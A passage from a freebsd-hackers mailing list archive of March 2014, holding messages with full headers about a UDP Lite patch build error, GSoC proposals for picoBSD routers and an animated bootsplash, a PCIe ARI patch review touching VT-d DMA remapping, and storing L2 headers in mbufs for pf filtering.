List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 05:07:28 -0000 On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay wrote: > > > > On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd wrote: > >> Is this -HEAD, or? >> >> >> -a >> >> >> On 13 March 2014 18:13, Joe Nosay wrote: >> > Testing of a patch for using UDP Lite on FreeBSD caused no compilation >> > errors; however, after adding the options of "VIMAGE" and "MROUTING" to >> > conf/kern?GENERIC, make buildkernel stops with: >> > /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to >> > function >> > call, expected 2, have 1 >> > udp_discardcb(up); >> > ~~~~~~~~~~~~~ ^ >> > /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' declared >> here >> > void >> > ^ >> > 1 error generated. >> > *** Error code 1 >> > >> > The file in question of >> > /usr/src/sys/netinet/udp_usrreq.c >> > >> > has the value of >> > udp_discardcb(struct udpcb *up, int isudp) >> > >> > that is causing the problem. >> > >> > >> > >> > I believe that the compiler is looking for a value to int isudp but that >> > value does not exist. >> > _______________________________________________ >> > freebsd-hackers@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> > To unsubscribe, send any mail to " >> freebsd-hackers-unsubscribe@freebsd.org" >> > > > No, it is 10.0 RELEASE #0 r262601 > > Last time, I had entered too many files. Here are the relative files. > > > There was no problem in compiling as listed earlier. I have not studied C > enough to solve this problem; however, I can see that int isudp happens > once while the next closest account is int isudplite. > > I've just upgraded source to head. I have three patches for UDP Lite. The question is which one(s) should I use. The udp-v.diff only has a reference to udp_discardcb up, while patch udplite and udplite.diff have the struct and int references. From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 10:25:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63EF4A0C; Sun, 16 Mar 2014 10:25:18 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id 21317163; Sun, 16 Mar 2014 10:25:18 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:6953:60be:b581:151f]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 369D54AC1C; Sun, 16 Mar 2014 14:25:14 +0400 (MSK) Date: Sun, 16 Mar 2014 14:25:06 +0400 From: Lev Serebryakov Organization: FreeBSD Project X-Priority: 3 (Normal) Message-ID: <958443052.20140316142506@serebryakov.spb.ru> To: Julian Elischer Subject: Re: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) In-Reply-To: <5324B169.3000805@freebsd.org> References: <53243AD5.1000603@unsane.co.uk> <138446120.20140315154414@serebryakov.spb.ru> <5324B169.3000805@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org, CeDeROM , Vincent Hoffman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 10:25:18 -0000 Hello, Julian. You wrote 16 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., 0:00:41: >> VH> I think this is mostly done? I'd suggest that you look at >> VH> https://github.com/kientzle/crochet-freebsd >> Problem not in a script (we have nanobsd for it!), but minimal size of >> usable system, both compressed (think: 16Mb or even 4Mb of Flash) and >> uncompressed (think: 32Mb of RAM). JE> hense picoBSD JE> nanoBSD is small but picoBSD is smaller It is not enough. Kernel with all needed drivers (think: netgrpah for PPPoE/L2TP/PPTP and other net/mpd5-supported protocols? USB for external drive, etc) and needed software (as system one -- WiFi stack, dhclient & Ko, and ported one too -- dhcpd + mpd5 at least, and, may be, samba for systems with USB port) is much bigger than typical SOHO routers flash size. And I don't mention that we need some HTTPD and web interface too. --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 11:59:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A02C3999 for ; Sun, 16 Mar 2014 11:59:58 +0000 (UTC) Received: from www2419.sakura.ne.jp (www2419.sakura.ne.jp [IPv6:2403:3a00:201:18:210:224:185:29]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 33652E87 for ; Sun, 16 Mar 2014 11:59:57 +0000 (UTC) Received: from www2419.sakura.ne.jp (ksav21.sakura.ne.jp [210.224.165.143]) by www2419.sakura.ne.jp (8.14.5/8.14.5) with ESMTP id s2GBxt39025393 for ; Sun, 16 Mar 2014 20:59:55 +0900 (JST) (envelope-from nuta@seiya.me) X-Nat-Received: from [210.224.185.29]:36662 [ident-empty] by smtp-proxy.isp with TPROXY id 1394971195.12709 Received: from 133051082072.ap.cc.tsukuba.ac.jp (133051082072.ap.cc.tsukuba.ac.jp [133.51.82.72] (may be forged)) (authenticated bits=0) by www2419.sakura.ne.jp (8.14.5/8.14.5) with ESMTP id s2GBxnkl025388 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 16 Mar 2014 20:59:50 +0900 (JST) (envelope-from nuta@seiya.me) From: Seiya Nuta Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Subject: GSoC'14 proposal: a new bootsplash screen Message-Id: <038860B8-7034-4AA7-A8F8-1A7AB4D7FB1C@seiya.me> Date: Sun, 16 Mar 2014 20:59:49 +0900 To: freebsd-hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Anti-Virus: Kaspersky Anti-Virus for Linux Mail Server 5.6.45.2/RELEASE, bases: 16032014 #7529416, status: clean X-Mailman-Approved-At: Sun, 16 Mar 2014 12:19:26 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 11:59:58 -0000 Hi, everyone I am Seiya Nuta, a university student in Japan and I=92m going to submit = a GSoC proposal. I want to develop a new bootsplash mechanism to add animation such as = progress bar. It eases concern whether it works on boot and enhances the = attractiveness of FreeBSD to desktop users. I=92m willing to work on this even if my proposal is not accepted so I = would like you to tell me your frank opinion about my proposal. My proposal is as follows: Description: I propose a new bootsplash mechanism. Currently, we can enable = bootsplash by adding few options such as `splash_bmp_load' to /boot/loader.conf but it only = displays an image file. I worry whether it works well on boot so I assume we need a new = bootsplash which can display animation: progress bar, loading circle ball. Themes are kernel = modules and draw images in two ways: direct drawing and layered drawing. Direct drawing = is same as splash_bmp; only draw an image. Layered drawing is a new way; stack = images and text. It also enables technique like CSS sprite. Deliverables: - Implementation of bootsplash direct drawing / layered drawing - Makefile and scripts for creating bootsplash themes - Example themes Test Plan: #1: - write code in VM on VirtualBox - `make` and copy generated kernel and modules to /boot - launch .vdi of the VM with QEMU on host OS - check output and dmesg #2: - `make buildinstall` on a real machine. - boot it - check output and dmesg Schedule: Work Period #1 - (May 19 - May 25) implement direct drawing - (May 26 - June 8) add changes to src/sys - (June 9 - June 15) write Makefile and scripts for creating themes - (June 16 - June 22) create and enjoy a flip book in bootsplash = using direct drawing Work Period #2 - (June 23 - June 29) print characters in a framebuffer - (June 30 - July 20) implement layered drawing - (July 21 - July 27) support layered drawing in scripts for = creating themes - (July 28 - 'pencils down' date) create themes Regards, Seiya Nuta From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 14:07:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 66F3CA55 for ; Sun, 16 Mar 2014 14:07:41 +0000 (UTC) Received: from bay0-omc2-s22.bay0.hotmail.com (bay0-omc2-s22.bay0.hotmail.com [65.54.190.97]) by mx1.freebsd.org (Postfix) with ESMTP id 53689C17 for ; Sun, 16 Mar 2014 14:07:41 +0000 (UTC) Received: from BAY168-W91 ([65.54.190.125]) by bay0-omc2-s22.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Sun, 16 Mar 2014 07:07:35 -0700 X-TMN: [LSkDbVb1apFmNvspPv/cpB7chJ5EAo7e] X-Originating-Email: [szive@live.com] Message-ID: From: =?utf-8?B?5b6Q5b+X6ZSL?= To: FreeBSD-Hackers Subject: GSoC:Convert some utilities to emit XML Date: Sun, 16 Mar 2014 14:07:35 +0000 Importance: Normal Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginalArrivalTime: 16 Mar 2014 14:07:35.0813 (UTC) FILETIME=[14F17B50:01CF4121] X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 14:07:41 -0000 SGVsbG8gYWxsLCAKSSdhbSBnb2luZyB0byBhcHBseSB0aGUgR1NvQyBmb3IgdGhlIHByb2plY3Qg Ik1hY2hpbmUgcmVhZGFibGUgb3V0cHV0IGZyb20gdXNlcmxhbmQgdXRpbGl0aWVzIi4gCkkgd29u ZGVyIGhvdyB0byBlbmFibGUgdGhlIHV0aWxpdGllcyB0byBlbWl0IFhNTCBvdXRwdXQgO1Nob3Vs ZCBJIGFkZCBhbiBvcHRpb24gc2F5aW5nIC14bWwgdG/CoCAKZW5hYmxlIHRoaXM/wqAKSnVuT1Mg Y2FuIGVtaXQgdGhlIFhNTCBvdXRwdXQgdXNpbmcgdGhlIHBpcGUgdG8gZGlzcGxheSB4bWwofCBk aXNwbGF5IHhtbCk7IGFuZCBJIGFsc2/CoCAKd29uZGVyIGhvdyBKdW5PUyBpbXBsZW1lbnRlZCB0 aGlzLsKgCgpCZXN0cy4gCQkgCSAgIAkJICA= From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 14:12:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 70684BA6 for ; Sun, 16 Mar 2014 14:12:27 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E2FE7CA6 for ; Sun, 16 Mar 2014 14:12:26 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2GECHjg057777; Sun, 16 Mar 2014 16:12:17 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2GECHjg057777 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2GECHAm057776; Sun, 16 Mar 2014 16:12:17 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 16 Mar 2014 16:12:17 +0200 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140316141216.GA21331@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yrj/dFKFPuw6o+aM" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 14:12:27 -0000 --yrj/dFKFPuw6o+aM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Mar 14, 2014 at 10:06:12PM -0400, Ryan Stone wrote: > http://people.freebsd.org/~rstone/patches/pci_ari.diff >=20 > This patch add support for PCIe Alternative RID Interpretation (ARI) > to our PCI implementation. ARI is an optional feature in PCIe; when > it is enabled on a endpoint device that device can have up to 256 PCI > functions (increased from 8). This is implemented by re-interpreting > the 5-bit slot number as being part of the function number. The slot > number for all such functions will implicitly be 0. >=20 > There are two main changes here. The first changes PCI enumeration to > explicitly probe slot 0, function 0 separate from all other devices. > This is necessary because we must check whether the device supports > ARI and enable it before enumerating the rest of the devices. Am I reading the patch correctly, that device (0, 0, 200) would return slot 0 and function 200 from pci_get_slot() and pci_get_function() ? This is expected, but it would break VT-d busdma, I think. This is not said in the VT-d spec about ARI, but I believe that DMAR would split the function number by 7-3/2-0 bits, same as for the non-ARI devices. Then the transactions will be translated by the wrong context. =46rom other minor notes, having additional line for "ARI enabled" message under bootverbose would make already excessive PCI config dump even more problematic. --yrj/dFKFPuw6o+aM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTJbFAAAoJEJDCuSvBvK1BkroP+wZ/m5Zcoje1tR7SFjmD8VPy 9HoPZwVQVWQmAmgGkqXm6YP7naP3FjP/E5qYoWhBfO335eTJTaTnmLt+1ClcjD3Q zE1xfVajulQsi1/1q9mPt4rbN6TrVMmP9Qb/r8ClLdGH0VQZW550UuWuY7dlafV3 HXzuWSmKS18DdJ1bJgyNX7kyu0VgCEjVoDKiPJSCuiHp+VKRBjT8L6Zgar0N2W3q FfSxbcoqVwzgVbP61xjL/A/3oeXeNqvE8khoDpYN2nDBpLL7zPAQ4XOBdxlvKR80 CBXNlCN9Mua5LboezdZVuGwsIECcGSnT08oBKLWsKL+y/A273iHk+mN0aWJnaOc8 vIaI9dlw+zEAzBoVEwOY9+a9WH0ijMWoZPUTTrtsxqolM3fJLlL7am5hsv/IYR9m vlInpTt7LxQNSVUEgKo5fZpaCZMyw8PVT0/FSOMekVQTTlvuhlfcvksOYRsz44eW iRXfOeFDI679NHP3ar/NJmF4JXbZ2r+ILg4QrOdXU0MBSBfSIBKETOU+8eYQA1Xh 5Jpo0RjQCoLvuK1fHG10pNw3SLrDjj7qBCG83s5YNszZPRzD+QoB/+Oh3PhfAGYy maAnUlRRrS3+fgHCg6lEF5g8SslFRSxXG9fc5NfIq9D5Px5tGZ5eMpQyCoO28QL8 klXCEODgpQPWB1zcRM0D =56wQ -----END PGP SIGNATURE----- --yrj/dFKFPuw6o+aM-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 15:00:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 723657B; Sun, 16 Mar 2014 15:00:51 +0000 (UTC) Received: from mail-wg0-x22f.google.com (mail-wg0-x22f.google.com [IPv6:2a00:1450:400c:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B08C018E; Sun, 16 Mar 2014 15:00:50 +0000 (UTC) Received: by mail-wg0-f47.google.com with SMTP id x12so3680655wgg.6 for ; Sun, 16 Mar 2014 08:00:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=7WKJEGXmS0ZzZM/Yam05eDelx8Asbi6GaSoCM7pnUuM=; b=KQLnBky/elZPN01H0pdGDYF0fGRs7At2sWKI4uQP3RtOJQWhdpvv9fWWciae6xZ7ay LoUuc72ZJDvzqc0BstWX26XtLK/Wrvwl1IaCSXB0UyZv4Sv4fhLw49imtgdykJYBqaz2 UwelmwD+RSRk76VfC3yHvLHViILB4e3+NYG8ySCM83Jvo0L94NcNVg8i5xE+wo5vQmgV 0oNiQuM+dmfu3hWub07aOuLrHq317FIEd1jxdltdsczVSqLpqXhG8rHOlUPil1EsavV8 eNSqAPdayyHgef7v9O0tO4FzOOTWzQPgWlNne2pJvHhhBBIJ5Qr69cE16RYV3Rd/rA88 s9OA== X-Received: by 10.194.240.7 with SMTP id vw7mr510299wjc.75.1394982048740; Sun, 16 Mar 2014 08:00:48 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id ee5sm16007082wib.8.2014.03.16.08.00.46 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Mar 2014 08:00:47 -0700 (PDT) Message-ID: <5325BC99.2060703@gmail.com> Date: Sun, 16 Mar 2014 19:30:41 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 15:00:51 -0000 On 3/16/2014 9:01 AM, Rui Paulo wrote: > On 15 Mar 2014, at 16:13, Ian Lepore wrote: >> How about an optimization that puts tags in that area when it's >> available to avoid the allocation overhead? I don't know much about the >> network code, so maybe that's not a sensible idea. > The problem with mbuf tags is that they are not fixed size, so they can't easily use UMA (although they use malloc which is backed by UMA, but the performance is lower). If tags are not an option, I suppose Hooman could use fields from struct pkthdr, but this might come with risks if the code is not in the tree. > > -- > Rui Paulo pkthdrdoes not seem to have any spare area for custom use. I wanted to add L2 filtering capabilities to pf(4) firewall, and the first problem I faced was how to make L2 headers (src/dst ethernet addresses) available to pf. That (seemingly) unused part of mbuf+cluster seemed a good place to store ethernet headers. We already have vlan tag (a sort of L2 data) in pkthdr. What do you think about the idea of having a dedicated area for L2 information in mbufs? Something like: struct pkthdr { ... struct { int link_type; uint8_t link_hdr[LINKHDR_MAXLEN]; uint16_t link_vtag; ... } link; ... } -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 15:05:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1A6571B6 for ; Sun, 16 Mar 2014 15:05:18 +0000 (UTC) Received: from mail-oa0-x232.google.com (mail-oa0-x232.google.com [IPv6:2607:f8b0:4003:c02::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D8ACF1AC for ; Sun, 16 Mar 2014 15:05:17 +0000 (UTC) Received: by mail-oa0-f50.google.com with SMTP id i7so4644677oag.9 for ; Sun, 16 Mar 2014 08:05:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=G9u4lacyQkYvsEBRZk0UuxUd0QbKnFzouKv2jjAX8wc=; b=iO3BLGbSw1gu8Qy2Tqoj9Vu70SAYl3WOLhPxUrZ9IVBt6lj0xb5ygwluojAP69gF78 aZ0mVc3BrjEuG/+OK3M3QgiEVFsnxIVskw0aIgbrqQLgyX0QT1DWRxxkYpimY/bqAJ4g WsLUXzzIjjRzjCTYwyrlvreonFDhav4dUpOGBp/aQ7nGgHDnLXWwknAv/GYLnQekGOgG WwLg+iqW3fnO8J5PK1Ksxio6NwOV2rQp0gvCbR8ZYC5ODIad4uKHmOI7phFNF+LgDWFO 7DqItNBUPXKdmH4VpW5cYx2cgHzPq3ujAoHUevG5Q0ZTmDtukd0z7j4rISWH/uAJ7C5o 8ONw== MIME-Version: 1.0 X-Received: by 10.182.117.195 with SMTP id kg3mr16226756obb.17.1394982316633; Sun, 16 Mar 2014 08:05:16 -0700 (PDT) Received: by 10.76.115.129 with HTTP; Sun, 16 Mar 2014 08:05:16 -0700 (PDT) In-Reply-To: <20140316141216.GA21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> Date: Sun, 16 Mar 2014 11:05:16 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Konstantin Belousov Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 15:05:18 -0000 On Sun, Mar 16, 2014 at 10:12 AM, Konstantin Belousov wrote: > This is expected, but it would break VT-d busdma, I think. > > This is not said in the VT-d spec about ARI, but I believe that > DMAR would split the function number by 7-3/2-0 bits, same as for > the non-ARI devices. Then the transactions will be translated by > the wrong context. Ah, good catch. I took a quick look at the spec and the code, and I believe that I see the problem. I think that the proper solution is to add a new method, pcib_get_rid(), that returns (bus << 8) | (slot << 5) | func for non-ARI devices and (bus << 8) | func for ARI devices. Then we could add a pci_get_rid() that just calls the pcib method, and the DMAR code could be changed to work in terms of the RID instead of bus/slot/function. My reading of the spec is that VT-d is really implemented in terms of the RID anyway, but the spec authors took pains to give examples in terms of bus/slot/function because that's how the software developers understand things. Do you know if bhyve's pci passthrough code uses the same code to add DMAR entries as the busdma code? If not I'll have to track down how bhyve does it because it would likely have the same problem. > From other minor notes, having additional line for "ARI enabled" > message under bootverbose would make already excessive PCI config > dump even more problematic. I can remove it. At the time I wanted some kind of indication that ARI was being used, but pciconf can tell you that now so it's not really necessary. From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 17:28:48 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 90A393AC; Sun, 16 Mar 2014 17:28:48 +0000 (UTC) Received: from felyko.com (felyko.com [174.136.100.2]) by mx1.freebsd.org (Postfix) with ESMTP id 77B19EE1; Sun, 16 Mar 2014 17:28:48 +0000 (UTC) Received: from [10.0.1.3] (c-24-6-115-18.hsd1.ca.comcast.net [24.6.115.18]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by felyko.com (Postfix) with ESMTPSA id 61C3939841; Sun, 16 Mar 2014 10:28:47 -0700 (PDT) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: mbuf question From: Rui Paulo In-Reply-To: <5325BC99.2060703@gmail.com> Date: Sun, 16 Mar 2014 10:28:47 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <6302F517-EA46-47C0-85F1-625383DA9EBF@FreeBSD.org> References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> <5325BC99.2060703@gmail.com> To: Hooman Fazaeli X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 17:28:48 -0000 On 16 Mar 2014, at 08:00, Hooman Fazaeli = wrote: > On 3/16/2014 9:01 AM, Rui Paulo wrote: >> On 15 Mar 2014, at 16:13, Ian Lepore wrote: >>> How about an optimization that puts tags in that area when it's >>> available to avoid the allocation overhead? I don't know much about = the >>> network code, so maybe that's not a sensible idea. >> The problem with mbuf tags is that they are not fixed size, so they = can't easily use UMA (although they use malloc which is backed by UMA, = but the performance is lower). If tags are not an option, I suppose = Hooman could use fields from struct pkthdr, but this might come with = risks if the code is not in the tree. >>=20 >> -- >> Rui Paulo >=20 > pkthdrdoes not seem to have any spare area for custom use. >=20 > I wanted to add L2 filtering capabilities to pf(4) firewall, and the = first problem > I faced was how to make L2 headers (src/dst ethernet addresses) = available to pf. > That (seemingly) unused part of mbuf+cluster seemed a good place to = store ethernet > headers. >=20 > We already have vlan tag (a sort of L2 data) in pkthdr. What do you = think > about the idea of having a dedicated area for L2 information in mbufs? > Something like: >=20 > struct pkthdr { > ... > struct { > int link_type; > uint8_t link_hdr[LINKHDR_MAXLEN]; > uint16_t link_vtag; > ... > } link; > ... > } I don't understand your reluctance to use mbuf tags because pf itself is = already using mbuf tags. Why can't you use a PF tag like the ones = defined in pf_mtag.h? Have you measured the performance impact? -- Rui Paulo From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 17:49:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7FB7D9BA; Sun, 16 Mar 2014 17:49:17 +0000 (UTC) Received: from mail-we0-x22c.google.com (mail-we0-x22c.google.com [IPv6:2a00:1450:400c:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BE30BDB; Sun, 16 Mar 2014 17:49:16 +0000 (UTC) Received: by mail-we0-f172.google.com with SMTP id t61so3810586wes.31 for ; Sun, 16 Mar 2014 10:49:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=wFO6T7PQZkqbksCSfj4sQlCPK+Qa2lg/JaNbIE9qqmY=; b=hxfza0mmrO2Xxru4N4ZkgBzESmbA0j4+rGhWGp/VZyWI1rP5fYww5anxowNfkfDR8B qYCtXCds/TeTs2YJGJc46rFKSU4tciNXHiJjL0s1s+pV3DOKJ2/4WP7DbzSUGHWokMrY NnAF0VIJ6NbrtZ2pZv07HGGgFgKDU2QdOKc+MzGOQ+OC2cXPBrMYIL8JOqgmygz47EjG qc4umpfnpQzMqm900cbDBDql+Vt5AzDJVLV2cWXTMbEgAVtjHZW6GzFIWvN2d7QDvB5w o7YUKlGcwHgEMkOhVv/MXv+e+aG51EA8F2ok0qxqKGX0r3+vi4nPm9jz704h2BTJPSUm SkOA== X-Received: by 10.194.90.196 with SMTP id by4mr2152684wjb.45.1394992155028; Sun, 16 Mar 2014 10:49:15 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id ju6sm31237469wjc.1.2014.03.16.10.49.12 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Mar 2014 10:49:14 -0700 (PDT) Message-ID: <5325E416.2040906@gmail.com> Date: Sun, 16 Mar 2014 22:19:10 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> 